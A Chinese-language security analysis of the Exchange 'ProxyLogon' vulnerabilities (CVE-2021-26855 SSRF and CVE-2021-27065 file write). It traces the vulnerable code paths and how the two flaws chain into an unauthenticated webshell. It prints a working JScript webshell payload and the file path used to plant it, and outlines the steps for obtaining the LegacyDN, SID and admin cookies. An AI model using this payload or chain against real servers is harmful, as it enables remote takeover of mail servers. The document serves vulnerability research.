Try   HackMD

Exchange “ProxyLogon”系列漏洞分析

作者 1chig0 1umi3re yudhui @SJTU

简介

近期,微软Exchange邮件服务器的高危安全漏洞引起了安全圈的普遍关注,主要包括的漏洞类型和CVE编号如下所示:

  • CVE-2021–26855 SSRF
  • CVE-2021–26857 反序列化
  • CVE-2021–26858 任意文件写入
  • CVE-2021–27065 任意文件写入

其中CVE-2021–26855是一个SSRF,攻击者可以不经过任何类型的身份验证来利用此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是一个任意文件写入漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写入,属于非常高危的安全漏洞。

在本文中,我们首先介绍了Exchange处理请求的流程和对其调试方法;接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理,最后较为详细的描述了漏洞相关的ProxyLogon接口部分的详细验证过程。四个安全漏洞的利用过程示意图如上所示[10]。

Exchange处理请求流程

Exchange系统的服务架构如下图所示,由前端和多个后端组件组成。用户基于各类协议对Exchange的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例,来自Outlook或Web客户端的请求会首先经过IIS,然后进入到Exchange的HTTP代理,代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示[11]:

调试方法

相关分析文章一般只分析了漏洞的原理,却忽略了介绍如何调试代码的方法,由于对.NET框架的调试相对来说比较复杂,所以首先介绍一下我们的调试方法。

调试工具dnspy

dnspy是一个.NET反汇编和调试编辑器[1]。它可以对基于.NET框架编写的动态链接库(.dll)进行反编译,让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况,对程序进行下断点调试。

静态分析

通过dnspy可以直接对dll库进行逆向,直接打开被调试文件即可,十分方便。
对于Exchange的漏洞,我们用到的最关键的dll库为Miscrosoft.Exchange.FrontEndProxy.dll,这个库中包含了Exchange将前端请求转发到后端的过程。

不过由于整个Http请求还经过了一些不包含在Exchange内的运行库(如.Net自带的System.Web库),仅凭静态分析无法跟入这些库中,因此还需要动态调试。

动态调试

通过dnspy的附加到进程功能,我们可以动态调试.NET程序。然而由于Exchange程序逻辑极其复杂,相关进程较多,如何从复杂的进程中找到被调试的进程是一个难点。

首先通过IIS管理器可以查看当前服务器的应用程序池,其中Exchange的应用程序池以MSExchange为开头。

随后查看IIS服务相关的所有进程。进入C:\Windows\System32\inetsrv,执行appcmd list wp,可以查看进程名和进程号。

经过测试,applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程。于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进行调试了。

CVE-2021–26855

CVE-2021-26855是一个SSRF漏洞。恶意用户可以在远程绕过安全验证向任意端口发送数据。

研究人员对补丁前后的dll库进行diff,发现在Microsoft.Exchange.FrontEndHttpProxyBEResourceRequestHandler类中,新增了ShouldBackendRequestAnonymous方法[2]。因此我们可以从这个类入手。

BEResourceRequestHandler是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest中被引用,而要创建这个类的实例,首先需要函数BEResourceRequestHandler.CanHandle()返回True。

分析CanHandle函数,可以发现返回True需要以下两个条件:

  • HTTP请求的Cookie中含有X-BEResource键;
  • 请求应是资源型请求,即请求的文件后缀应为规定的文件类型。

private static string GetBEResouceCookie(HttpRequest httpRequest)
{
	string result = null;
	HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
	if (httpCookie != null)
	{
		result = httpCookie.Value;
	}
	return result;
}
public static bool IsResourceRequest(string localPath)
{
	ArgumentValidator.ThrowIfNull("localPath", localPath);
	return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}

SelectHandlerForUnauthenticatedRequest函数在OnPostAuthorizeInternal中被调用。httpHandler会被设置为BEResourceRequestHandler的一个实例,由于BEResourceRequestHandler继承于ProxyRequstHandler,因此会进入((ProxyRequestHandler)httpHandler).Run(context),并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler

接下来,进入System.Web.HttpApplicationCallHandlerExecutionStep接口的HttpApplication.IExecutionStep.Execute()函数。首先,从context.Handler获取handler,即我们之前提到的BEResourceRequestHandler,由于BEResourceRequestHandler继承与ProxyRequestHandler类,而该类又继承了IHttpAsyncHandler类,因此会进入到如下图所示的if分支当中,并在图中的3872行调用ProxyRequestHandler.BeginProcessRequest()函数。

接下来,在ProxyRequestHandler.BeginProcessRequest中会调用ProxyRequestHandler.BeginCalculateTargetBackEnd,在ProxyRequestHandler.BeginCalculateTargetBackEnd中调用ProxyRequestHandler.InternalBeginCalculateTargetBackEnd,最终进入到BEResourceRequestHandler.ResolveAnchorMailbox

BEResourceRequestHandler.ResolveAnchorMailbox函数会调用BEResourceRequestHandler.GetBEResouceCookie获取键X-BEResource的值,然后将其传入BackEndServer.FromString中。

BackEndServer.FromString函数中,首先根据~将X-BEResource的值分割为两部分,前一部分作为fqdn,后一部分则是version的值。

函数继续执行,经过一系列函数调用:后端服务器的目标FQDN计算完后调用OnCalculateTargetBackEndCompleted函数,该函数又调用InternalOnCalculateTargetBackEndCompleted函数,紧接着调用BeginValidateBackendServerCacheOrProxyOrRecalculate函数,然后调用BeginProxyRequestOrRecalculate函数,最终进入到BeginProxyRequest函数中。其中调用GetTargetBackendServerUrl函数获取向backend转发请求的URL。

GetTargetBackendServerUrl中将调用GetClientUrlForProxy函数构造发起请求的URL。

最终调用ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求。

以上即是SSRF漏洞的整个流程。

CVE-2021–27065

CVE-2021–27065是一个任意文件写入漏洞,相比于CVE-2021–26855简单得多。

首先需要一个管理员账号,进入Servers->Virtual Directories->OAB

编辑OAB配置,在外部链接中写入shell并保存。

http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>

接下来输入文件路径并重置。

\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx

shell即可成功写入。

两者配合写入shell

由于漏洞内容较为敏感,大部分文章到这里的分析很少。我们通过对协议分析以及自己的理解,还原了proxylogon的技术细节。

获取LegacyDN

Autodiscover是Exchange中的一个服务,该服务可以帮助客户端(例如Outlook)以最少的用户输入来进行电子邮箱的配置。因为在前文提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN,因此可以利用该服务。

Autodiscover的请求格式可以在官方文档[6]中找到。

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
	<EMailAddress>Administrator@exploittest.xyz</EMailAddress>
	<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

获取SID

消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。

一个正常的Connect类型请求如图所示[5],包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。

各个字段的具体含义如下图所示[5]。

获取管理员登陆凭证

通过Burpsuite拦截数据包可以看到,exploit利用SSRF漏洞访问了Exchange后端的/ecp/proxyLogon.ecp路径,从响应中得到了ASP.NET_SessionId以及msExchEcpCanary两个Cookie,根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及用户的登录凭证。

为了了解它们是如何生成的,我们查看IIS管理器,可以找到ecp的后端.NET应用程序物理路径。

在该物理路径下的.NET应用配置文件web.config中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的,然而对相应的dll进行反编译后发现该Handler仅修改了HTTP响应的状态码。

最终通过调试后发现,真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的,通过web.config可以看到RbacModule作为应用的其中一个模块用于处理HTTP请求。

在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下,首先函数根据httpContext生成AuthenticationSettings实例。

AuthenticationSettings的构造函数中,由于所有的if语句均不满足,函数会根据context生成一个RbacSettings实例,并赋值给自己的Session属性。

而在RbacSettings的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp结尾,若是则进入下方的if分支,利用请求数据创建SerializedAccessToken实例。

分析SerializedAccessToken类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r,根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称;根节点的子节点为SID节点,节点名字为s,当中的属性t对应SID类型,属性a对应SID属性,节点中的文本为SID。其序列化函数定义如下,可以看到令牌大致与Windows中的安全访问令牌内容相似。

随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调用GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调用EcpLogonInformation.Create函数创建一个EcpLogonInformation实例,再用该实例创建一个EcpIdentity实例。

Create函数首先根据logonMailboxSddlSid生成安全标识符实例,然后根据proxySecurityAccessToken参数生成SerialzedIdentity实例,并最后生成EcpLogonInformation实例。而根据名称可知logonUserIdentity定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。

之后程序回到RbacSettings的构造函数中,在响应中添加ASP.NET_SessionIdCookie。

程序接下来返回到RbacModule的函数中,在AuthenticationSettings实例生成后其Session属性被赋值给httpContext.User,并进入if分支调用CheckCanary函数。

CheckCanary函数又将调用如下所示的SendCanary函数,该函数首先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则生成一个新的Canary并将其加入到响应的Cookie中。从而我们能够构造满足要求的请求通过SSRF访问ecp/proxyLogon.ecp获得管理员的凭证。

写shell

最后根据CVE-2021–27065发送的请求包构造请求,即可成功写入shell,不再赘述。

  • 查看OAB配置

  • 保存外部链接

  • 重置

  • 最终成功写入结果

总结

Exchange的架构设计中不允许用户直接访问后端,而是要通过前端服务作为代理来进行访问。然而,前端在处理代理请求的过程中由于对特定Cookie的内容没有进行充分检查,导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后,攻击者又利用了后端管理服务没有对文件类型进行检查的漏洞,构造恶意输入以及恶意文件后缀名实现了WebShell的写入。

参考文献

【1】https://github.com/dnSpy/dnSpy
【2】https://testbnull.medium.com/phân-tích-lỗ-hổng-proxylogon-mail-exchange-rce-sự-kết-hợp-hoàn-hảo-cve-2021-26855-37f4b6e06265
【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/[MS-OXCMAPIHTTP].pdf
【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/[MS-OXDSCLI].pdf
【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
【9】https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/
【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/
【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016